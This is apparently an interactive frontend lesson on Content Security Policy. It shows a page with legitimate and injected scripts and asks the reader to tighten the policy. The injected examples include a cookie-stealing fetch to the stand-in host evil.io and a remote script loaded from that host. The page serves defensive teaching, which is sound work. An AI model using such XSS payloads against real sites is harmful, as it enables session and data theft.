Frontend · interactive
Content Security Policy
Even if an attacker manages to inject a script tag, a Content-Security-Policy header can tell the browser not to run it. The page below has three legitimate scripts and two injected ones. Tighten the policy.
(none)
- <script src="/app.js">runs
- <script src="https://plausible.io/js/script.js">runs
- <script nonce=…>window.CONFIG = {…}</script>runs
- <script>fetch('//evil.io?c='+document.cookie)</script>runs
- <script src="https://evil.io/x.js"> (injected)runs
2 injected scripts run · 0 legitimate scripts blocked
Without a policy, injected scripts run like your own: cookies and data are stolen.
Policy
Step 1 of 4 · read left to right
In production
Tools and technologies
CSP is a standard defence against XSS.
Not tied to one language — use these names when you search docs or design a system.